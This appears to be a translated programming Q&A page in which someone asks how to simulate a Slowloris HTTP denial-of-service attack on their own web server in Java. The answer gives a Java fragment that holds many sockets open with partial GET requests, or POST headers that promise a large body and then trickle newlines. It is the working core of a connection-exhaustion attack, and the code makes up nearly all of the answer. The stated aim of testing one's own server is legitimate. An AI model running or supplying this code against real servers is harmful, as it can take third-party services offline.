2013-04-25 79 views
-1

我需要編寫java代碼測試,以模擬我的Web服務器上的Slowloris HTTP DoS攻擊。 我發現了一個perl代碼,可以這麼做:http://ha.ckers.org/slowloris/Java - 模擬Slowloris HTTP DoS攻擊

我的環境不是恆定的,這意味着我無法保證在機器上安裝了活動perl。 是否有另一種方法來做到這一點? 有沒有一種方法可以使用jerl(https://code.google.com/p/jerl/)來做到沒有主動perl安裝(也許我可以將所需的自由添加到我的java項目?)?

回答

2
switch (dosMethod) { 
     case GET: 
      while(!StopWorking) 
      { 
       for(int i=0;i<per_Thread;i++) 
       { 
        if(socks[i].isConnected()) 
        { 
        try 
        { 
         PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
         pw.println("GET/HTTP/1.1"); 
         pw.println("Host: " + hp.getHostText()); 
         pw.println(); 
         pw.flush(); 
        } 
        catch (Exception e){} 
        } 
        else 
        { 
         try { 
          socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort()); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
       } 
      } 
      break; 
     case POST: 
      for(int i=0;i<per_Thread;i++) 
      { 
       try { 
        socks[i].close(); 
       } catch (IOException e) { 
        e.printStackTrace(); 
       } 
      } 
      while(!StopWorking) 
      { 
       for(int i=0;i<per_Thread;i++) 
       { 
        if(socks[i].isConnected()) 
        { 
         try { 
          PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
          pw.println(); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
        else 
        { 
         try { 
          socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort()); 
          PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
          pw.println("POST/HTTP/1.1"); 
          pw.println("User-Agent: %s"); 
          pw.println("Connection: keep-alive"); 
          pw.println("Keep-Alive: 900"); 
          pw.println("Content-Length: 10000"); 
          pw.println("Content-Type: application/x-www-form-urlencoded"); 
          pw.println(); 
          pw.flush(); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
       } 
      } 
      break; 
    } 

其中襪子是(套接字的數組插座[]襪子=新的Socket [connsperthread];